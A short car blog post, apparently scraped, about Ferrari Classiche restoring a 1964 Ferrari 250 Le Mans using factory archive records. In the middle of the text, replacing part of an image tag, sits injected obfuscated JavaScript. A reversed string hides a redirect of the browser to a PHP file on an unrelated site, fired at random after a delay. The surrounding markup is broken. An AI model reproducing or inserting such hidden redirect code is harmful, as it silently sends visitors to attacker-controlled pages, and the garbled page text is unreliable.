1964 Ferrari 250 Le Mans restored to former glory. Ferrari Classiche.
$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/media/2013/02/Ferrari-250-Le-Mans.png” alt=”” width=”720″ height=”400″ />
Stored in the official Ferrari Archive in Maranello is the documentation on cars built from 1947 right up to cars rolling off the production line today. Build sheets, commercial documents and assembly and maintenance records of work carried out by Scuderia Ferrari come in a bit handy when you are restoring a car back to completely original specifications, especially if that car is one of only 32 Ferrari 250 Le Mans ever produced.
Source – Kidston
